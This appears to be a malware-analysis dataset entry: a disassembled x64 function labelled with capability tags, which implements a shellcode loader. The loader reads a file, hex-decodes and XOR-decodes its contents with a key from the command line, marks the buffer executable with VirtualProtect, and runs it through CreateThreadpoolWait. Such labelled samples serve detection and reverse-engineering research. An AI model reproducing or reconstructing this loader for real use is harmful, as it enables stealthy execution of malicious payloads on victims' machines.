Function at 0x140001650
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via createthreadpoolwait

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xc440]
mov eax, 0xc540
call fcn.1400054f0
sub rsp, rax
mov rax, qword [0x14000d010]
xor rax, rsp
mov qword [rbp + 0xc430], rax
mov r13, rdx
mov rdx, qword [rdx + 8]
xor r12d, r12d
mov qword [rbp - 0x50], r12
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], r12b
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rdx + r8], r12b
jne 0x1400016b6
lea rcx, [rbp - 0x50]
call fcn.140001260
nop
mov rdx, qword [r13 + 0x10]
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], 0
inc rbx
cmp byte [rdx + rbx], 0
jne 0x1400016e1
mov r8, rbx
lea rcx, [rbp - 0x70]
call fcn.140001260
nop
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp - 0x30]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp - 0x30]
call fcn.1400029f0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
mov rax, qword [rbp + rcx + 0x18]
mov qword [rbp - 0x80], rax
test rax, rax
sete byte [rbp - 0x78]
mov byte [rbp - 0x77], 0
movups xmmword [rsp + 0x70], xmm0
mov word [rsp + 0x78], 1
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
movaps xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x30], xmm0
movaps xmm1, xmmword [rbp - 0x80]
movdqa xmmword [rsp + 0x70], xmm1
lea rax, [rsp + 0x50]
mov qword [rbp - 0x80], rax
movzx r14d, byte [rsp + 0x79]
movzx edi, byte [rsp + 0x78]
mov rbx, qword [rsp + 0x70]
movzx r15d, byte [rsp + 0x38]
mov rsi, qword [rsp + 0x30]
test dil, dil
jne 0x1400017b6
test rbx, rbx
je 0x1400017b0
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void____ptr64]
cmp eax, 0xffffffff
je 0x1400017b0
movzx r14d, al
jmp 0x1400017b3
mov rbx, r12
mov dil, 1
test r15b, r15b
jne 0x1400017d4
test rsi, rsi
je 0x1400017ce
mov rcx, rsi
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void____ptr64]
cmp eax, 0xffffffff
jne 0x1400017d1
mov rsi, r12
mov r15b, 1
test rbx, rbx
jne 0x1400018fb
test rsi, rsi
jne 0x140001904
lea rcx, [rbp - 0x20]
call fcn.140002db0
test rax, rax
jne 0x140001810
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x30]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea r9, [rbp - 0x70]
cmp qword [rbp - 0x58], 0x10
cmovae r9, qword [rbp - 0x70]
lea r8, [rbp - 0x50]
cmp qword [rbp - 0x38], 0x10
cmovae r8, qword [rbp - 0x50]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.140002ff0
mov rbx, rax
lea rax, [rsp + 0x50]
cmp rax, rbx
je 0x1400018b4
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x140001881
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000187c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400018f4
call fcn.1400046ec
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x140001990
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000198b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000198b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
test rsi, rsi
jne 0x1400017e6
test dil, dil
jne 0x140001925
test rbx, rbx
je 0x140001922
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void____ptr64]
cmp eax, 0xffffffff
je 0x140001922
movzx r14d, al
jmp 0x140001925
mov rbx, r12
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
cmp rcx, rdx
jae 0x140001957
lea rax, [rcx + 1]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x50]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0x50]
mov byte [rax + rcx], r14b
mov byte [rax + rcx + 1], 0
jmp 0x140001965
movzx r9d, r14b
lea rcx, [rsp + 0x50]
call fcn.1400013c0
test rbx, rbx
je 0x140001980
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sbumpc_void____ptr64]
cmp eax, 0xffffffff
je 0x140001980
xor dil, dil
jmp 0x140001792
mov rbx, r12
mov dil, 1
jmp 0x140001792
call fcn.1400046ec
lea r14, [rsp + 0x50]
cmp qword [rsp + 0x68], 0x10
cmovae r14, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x60]
shr rcx, 1
mov edx, 1
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
mov rsi, rax
mov rdi, r12
mov rbx, qword [rsp + 0x60]
test rbx, 0xfffffffffffffffe
jbe 0x1400019fa
nop dword [rax + rax]
lea r8, [rdi + rsi]
lea rdx, str._02x
mov rcx, r14
call fcn.140001530
add r14, 2
inc rdi
mov rbx, qword [rsp + 0x60]
mov rax, rbx
shr rax, 1
cmp rdi, rax
jb 0x1400019d0
shr rbx, 1
mov rcx, qword [r13 + 0x18]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov r10d, eax
mov r8d, r12d
test ebx, ebx
jle 0x140001aec
cmp ebx, 0x40
jb 0x140001aec
lea ecx, [rbx - 1]
movsxd rdx, ecx
lea rax, [rbp + 0xe0]
add rax, rdx
lea rcx, [rdx + rsi]
lea rdx, [rbp + 0xe0]
cmp rdx, rcx
ja 0x140001a47
cmp rax, rsi
jae 0x140001aec
movsx eax, r10b
movd xmm2, eax
punpcklbw xmm2, xmm2
punpcklwd xmm2, xmm2
pshufd xmm2, xmm2, 0
mov ecx, ebx
and ecx, 0x8000003f
jge 0x140001a6d
dec ecx
or ecx, 0xffffffc0
inc ecx
mov eax, ebx
sub eax, ecx
movsxd rdi, eax
lea rcx, [rsi + 0x20]
lea rdx, [rbp + 0xe0]
sub rdx, rsi
lea r14, [rbp + 0xf0]
sub r14, rsi
lea r9, [rbp + 0xf0]
sub r9, rsi
mov r11, 0xffffffffffffffe0
sub r11, rsi
movdqu xmm0, xmmword [rcx - 0x20]
pxor xmm0, xmm2
movdqu xmmword [rdx + rcx - 0x20], xmm0
movdqu xmm1, xmmword [rcx - 0x10]
pxor xmm1, xmm2
movdqu xmmword [r14 + rcx - 0x20], xmm1
movdqu xmm0, xmmword [rcx]
pxor xmm0, xmm2
movdqu xmmword [rdx + rcx], xmm0
movdqu xmm1, xmmword [rcx + 0x10]
pxor xmm1, xmm2
movdqu xmmword [r9 + rcx], xmm1
add r8d, 0x40
lea rcx, [rcx + 0x40]
lea rax, [r11 + rcx]
cmp rax, rdi
jl 0x140001aa0
movsxd r9, r8d
movsxd rdx, ebx
cmp r9, rdx
jge 0x140001b1c
lea rax, [rbp + 0xe0]
sub rsi, rax
lea rcx, [rbp + 0xe0]
add rcx, r9
movzx eax, r10b
xor al, byte [rcx + rsi]
mov byte [rcx], al
inc r9
cmp r9, rdx
jl 0x140001b01
lea r9, [rbp - 0x80]
mov r8d, 0x40
lea rcx, [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov rbx, rax
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_CreateThreadpoolWait]
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetThreadpoolWait]
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x140001bb7
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001bb2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001bb2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400046ec
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x30], rax
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x34], edx
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp - 0x20], rax
cmp qword [rbp + 0x60], 0
je 0x140001c29
mov rax, qword [rbp - 8]
lea rcx, [rbp + 0x50]
cmp qword [rax], rcx
jne 0x140001c29
mov rdx, qword [rbp + 0x70]
mov rcx, qword [rbp + 0x68]
mov qword [rax], rcx
mov rax, qword [rbp + 0x18]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rbp + 0x30]
mov dword [rax], edx
cmp byte [rbp + 0x5c], 0
je 0x140001c38
lea rcx, [rbp - 0x20]
call fcn.140002db0
lea rcx, [rbp - 0x20]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x18]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x80]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x140001c9a
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001c94
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001c94
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400046ec
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x140001cd8
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001cd3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001cd3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400046ec
xor eax, eax
mov rcx, qword [rbp + 0xc430]
xor rcx, rsp
call fcn.140004690
lea r11, [rsp + 0xc540]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret